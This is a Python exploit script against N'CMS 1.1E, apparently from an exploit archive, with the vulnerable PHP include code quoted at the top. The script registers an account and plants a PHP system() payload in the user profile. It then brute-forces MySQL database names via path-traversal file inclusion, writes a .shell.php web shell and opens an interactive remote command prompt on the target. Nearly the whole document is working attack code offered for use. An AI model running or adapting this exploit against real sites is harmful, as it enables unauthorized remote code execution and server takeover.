#!/usr/bin/python
# ~INFORMATION
# Exploit Title:    N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit
# Date:         11/3/2011
# Software link:    http://bit.ly/eJAyw5
# Tested on:        Linux bt
# Version:      1.1E
# PHP.ini Settings: gpc_magic_quotes = Off
 
# Note: The web application was lucky to not be exploited by session
# injection with a malicious username example <?php system($_GET[cmd])>
# as htmlentities() encoded the bracket :-)
 
# ~VULNERABLE CODE
'''
<?php
if( isset( $_GET['page'] ) )
{
    if( file_exists( 'page/'.$_GET['page'].'.php' ) )
    {
        include( 'page/'.$_GET['page'].'.php' );
    }
    else
    {
        include( 'page/404.php' );
    }
}
else
{
    include( 'page/home.php' );
}
?>
'''
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen
from cookielib import CookieJar
 
__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="11.3.2011"
 
usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
        help="HTTP Proxy <server>:<port>")
parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",
        help="file to use to bruteforce database")
parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",
        help="credentials for login, "
    "or [default: %default]")
 
(options, args) = parser.parse_args()
 
if options.proxy:
    print '[+] Using Proxy'+options.proxy
 
# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        "Google Chrome 0.2.149.29 (Windows XP)",
        "Opera 9.25 (Windows Vista)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)
 
traversal = './../../../../../../../..'
 
def banner():
    if os.name == "posix":
        os.system("clear")
    else:
        os.system("cls")
    header = '''
|----------------------------------------|
|Exploit: N'CMS LFI RCE
|Author: %s
|Date: %s
|----------------------------------------|\n
'''%(__CONTACT__,__DATE__)
    for i in header:
        print "\b%s"%i,
        sys.stdout.flush()
        time.sleep(0.005)
 
def proxyCheck():
        if options.proxy:
                try:
                        h2 = httplib.HTTPConnection(options.proxy)
                        h2.connect()
                        print "[+] Using Proxy Server:",options.proxy
                except(socket.timeout):
                        print "[-] Proxy Timed Out\n"
                        pass
                        sys.exit(1)
                except(NameError):
                        print "[-] Proxy Not Given\n"
                        pass
                        sys.exit(1)
                except:
                        print "[-] Proxy Failed\n"
                        pass
                        sys.exit(1)
 
def getProxy():
        try:
                proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
        except(socket.timeout):
                print "\n[-] Proxy Timed Out"
                sys.exit(1)
        return proxy_handler
 
cj = CookieJar()
if options.proxy:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
else:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', agent)]
 
def registerUser():
        webSiteUrl = url.geturl()+"?page=register"
    parameters = {'login' : username,'password': password,'password2' : password,'email' : 'test@test.com',
    'register' : '+Enregistrer+'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()
    print '[+] Created User, '+username
 
def edit_profile():
        webSiteUrl = url.geturl()+"?page=edit_profil"
    parameters = { 'User-Agent' : agent,
    'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        response = opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()
    print '[+] Added Payload To Page'
 
def login():
        """ Add php payload to database """
        webSiteUrl = url.geturl()+"?page=register"
    parameters = {'login' : username,'password' : password,'actplayer' : 'login'}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()
    print '[+] Authenticated To Website'
 
def traversalCmd(encodedCommand,database):
    webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
    parameters = {'cmd' : encodedCommand}
    encodedParameters = urllib.urlencode(parameters)
    try:
        opener.open(webSiteUrl, encodedParameters).read()
    except:
        print '[-] Failed'
        sys.exit()
 
def postRequestWebShell(encodedCommand):
        webSiteUrl = url.geturl()+'.shell.php'
    commandToExecute = [
    ('cmd',encodedCommand)]
    cmdData = urllib.urlencode(commandToExecute)
    try:
        response = opener.open(webSiteUrl, cmdData).read()
    except:
        print '[-] Failed'
        sys.exit()
    return response
 
def fileCheck():
        webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"
    try:
        response = opener.open(webSiteUrl).read()
    except:
        print '[-] Failed'
        sys.exit()
    doesntExist = re.compile(r"Erreur 404")
    findAnswer = doesntExist.search(response)
    if findAnswer:
        "[-] Can Not Use This Techinque"
        sys.exit()
 
def bruteForceDatabase():
    try:
            databases = open(options.wordlist, "r").readlines()
            print "[+] Length Of Wordlist: "+str(len(databases))
    except(IOError):
            print "[-] Error: Check Your Wordlist Path\n"
            sys.exit(1)
    for database in databases:
            database = database.replace("\r","").replace("\n","")
            webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
        print '[X] Testing Database Name: '+database
        try:
            response = opener.open(webSiteUrl).read()
        except urllib2.HTTPError, error:
                            print '[-] Failed'
        payload = re.compile(r"Erreur 404")
        findPayload = payload.search(response)
        if not findPayload:
            print '[+] Found Database: '+database+'\n'
            commandLine(database)
 
def commandLine(database):
    encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
    encodedCommand = base64.b64encode(encodedCommand)
    traversalCmd(encodedCommand,database)
    commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
    while True:
        try:
            command = raw_input(commandLine)
            encodedCommand = base64.b64encode(command)
            response = postRequestWebShell(encodedCommand)
            print response
        except KeyboardInterrupt:
            encodedCommand = base64.b64encode('rm .shell.php')
            postRequestWebShell(encodedCommand)
            print "\n[!] Removed .shell.php\n"
            sys.exit()
 
if "__main__" == __name__:
        banner()
    try:
            url=urlparse(args[0])
    except:
            parser.print_help()
            sys.exit()
    getProxy()
    username, password = options.credentials.split(':')
    proxyCheck()
    registerUser()
    login()
    edit_profile()
    fileCheck()
    bruteForceDatabase()